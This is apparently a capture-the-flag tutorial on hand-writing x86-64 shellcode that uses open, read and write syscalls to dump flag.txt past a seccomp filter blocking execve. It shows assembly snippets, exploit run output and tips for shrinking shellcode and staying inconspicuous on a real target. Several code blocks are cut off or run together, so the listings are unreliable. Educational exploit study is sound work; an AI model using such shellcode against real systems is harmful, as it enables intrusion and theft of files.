This challenge is very similar to Leaked Shellcode with a major difference. For this challenge, we'll practice writing our own shellcode for when Shellstorm doesn't have an exploit to do what we need.
First, we'll use Leaked Shellcode's exploit against this binary. When we run it:
[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No[+] Starting local process './chall': pid 94425[*] buf: 0x7ffc92c37f40[*] Switching to interactive modeWhat do you want to write there?Thank you![*] Got EOF while reading in interactive$[*] Interrupted[*] Process './chall' stopped with exit code -31 (SIGSYS) (pid 94425)We get SIGSYS. Using man 7 signal we can see what this error means:
SIGSYS P2001 Core Bad system call (SVr4);
see also seccomp(2)It mentions checking man 2 seccomp, which uses SIGSYS as its error for using disallowed system calls.
We see via ldd (or the source code) that seccomp is used.
libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007fd56a622000)seccomp for this binary to run. This can be done with:sudo apt-get install libseccomp-devseccomp allows for the disabling of certain system calls. In this case, it's disabled execve and execveat, so our old exploit no longer works. We'll need to write our own.
First, we need to decide what the shellcode should do. Since we just need the flag.txt file, we can simply do that. In C, we would do something like:
1FILE *fp = fopen("flag.txt", "r");
2fgets(buffer, sizeof(buffer), fp);These functions are libc functions. We can find these inside libc and call them directly, but this is difficult. We become subject to ASLR and knowing the base address of libc. Instead, we can use system calls to do this. This would look something like:
1int fd = open("flag.txt", O_RDONLY);
2read(fd, buffer, sizeof(buffer));
3Using the x64 syscall table we can get these system calls, arguments, and register values. x64 system calls use the same register scheme as regular functions, with the addition of rax being used for the system call number.
First, we must open the file. open has the following signature:
int open(const char *pathname, int flags);We don't have our own place to store memory. We must use the stack. This becomes problematic because our instructions are also stored on the stack. Too much pushing and you may overwrite your own instructions. This is especially critical in smaller spaces.
open takes a char* for the pathname, meaning we need an address that points to flag.txt. Since it's not already in the binary, we must introduce it into the shellcode. We do this by pushing it onto the stack and saving rsp.
1mov rbx, 0x7478742e67616c66
2push 0x0
3push rbx
4mov rdi, rsppush 0x0?open will keep reading until it finds one. Since flag.txt is exactly 8 characters, we need an extra instruction to push it.You can pretty easily write a script that converts a string into this push instruction using Python.
Then, we can load the other registers and call syscall:
1; open(flag.txt, NULL, NULL)
2mov al, 0x2
3mov rbx, 0x7478742e67616c66
4push 0x0
5push rbx
6We'll need to store the return of this (rax) because it contains the file descriptor of the opened file. This is where Caller vs. Callee Registers comes into play. We cannot use a caller-saved register because we can't guarantee its security. So, I chose r10 to secure my file descriptor.
mov r10, raxThen, we need to read bytes from the flag. We aren't told its length, so we will do this one in loops. We'll read a few bytes, write a few bytes, then check if we're at the end.
First, establish the buffer we'll write to:
push qword 0x0Then, label our loop:
.loop:read which has the signature:ssize_t read(int fd, void buf[.count], size_t count);This is pretty simple to do:
1; read(fd, rsp, 0x8)
2mov rdi, r10
3xor rax, rax
4mov rsi, rsp
5mov rdx, 0x8read to decide the number of bytes to write.1; write(fd, stdout, 0x20)
2mov rdx, rax
3mov rdi, 1
4mov rax, 1
5syscallFinally, we must check if we're done. We can compare this return to 0x8 to see if we wrote 0x8 bytes.
1cmp rax, 0x8
2jl .done
3jmp .loop.done doesn't need anything under it because at this point, we'll have our flag.
I said a few things during that explanation that are worthy of explaining further.
r10 at all?We need r10 because the write system call will clobber rdi since it needs to change it to the stdout file descriptor. Therefore, the flag.txt file descriptor must be stored elsewhere so we can load it each run.
This is not an obvious choice that required a bit of forethought. In the end, we need to compare the number of bytes read from the file descriptor (the return of read) to 0x8 (the intended read size). If we read less than this, we reached the end of the file.
If we chose to always write 0x8 bytes, write will always return 0x8 and our comparison would never work. Therefore, we choose to use read's return to write that many bytes and use write's return to check if we're at the end.
Another way to do this is to move the check between the read and write calls. We would need to change the check to only check for read returning 0, otherwise we'll miss a few bytes in the final write.
In this scenario, we don't need to do anything in .done because we'll already have the flag. What we'll notice at the end, however, is that the program will crash. This is because it'll run out of valid instructions.
If we were attempting this against a real target and wanted to remain inconspicuous, we would do a few things depending on the situation:
1mov rdi, r10
2mov rax, 0x3 ; sys_close
3syscallsys_exit to exit the program.1xor rdi, rdi
2mov rax, 0x3c
3syscallHowever, if we stole execution and the program was expected to do more (such as a reactor loop), we would want to return execution. This might involve storing the instruction and stack pointers using a trampoline. Coming soon we'll have a course on shellcoding that will cover this in more depth.
First, we need to compile.
nasm -f bin -o sc.bin sc.asmThen, we can read this file into our exploit:
1with open("sc.bin", "rb") as f:
2 sc = f.read()This replaces our old sc. This challenge has a slightly larger buffer, so we'll adjust the ljust to 0x58 bytes.
When we run it:
[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No[+] Starting local process './chall': pid 128923[*] buf: 0x7ffe9aea2be0[*] Switching to interactive modeWhat do you want to write there?Thank you!IFC{PL4C[*] Got EOF while reading in interactive$[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 128923)[*] Got EOF while sending in interactiveIt started to work but died! What we'll notice is that our shellcode doesn't fit the buffer:
wc -c sc.bin76 sc.binOur buffer was only 72 big! We need to make it smaller.
As discussed in Assembly Instructions, instructions have various lengths. Most notably is Register Extension (REX) which adds size for the 64-bit instructions. When applicable, we'll attempt to shorten instructions.
We can shorten every rax-related instruction by zeroing out the register at the beginning and only ever using the least-significant byte. We can do this on two assumptions:
open returns a file descriptor, and read and write return a number <= 0x8.rax. This can be a bold assumption but more often that not works in shellcoding. We wouldn't really do this if we were writing a program from scratch.Then, we can change rdx in read and write to dl knowing that we zeroed out rdx before the open syscall. We also know that rdi only holds one byte because it holds a file descriptor, so we can change that, too.
When shortening all the registers, our assembly becomes:
1org 0
2bits 64
3
4section .text
5global _start
6
This shortens our assembly to 61 bytes, which fits into the buffer.
If we run this, we get:
[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No[+] Starting local process './chall': pid 134755[*] buf: 0x7ffcdf38c300[*] Switching to interactive modeWhat do you want to write there?Thank you!IFC{PL4C3H0LD3R_FL4G_H3R3!}[*] Got EOF while reading in interactive$[*] Process './chall' stopped with exit code -11 (SIGSEGV) (pid 134755)[*] Got EOF while sending in interactiveThis yields our entire flag!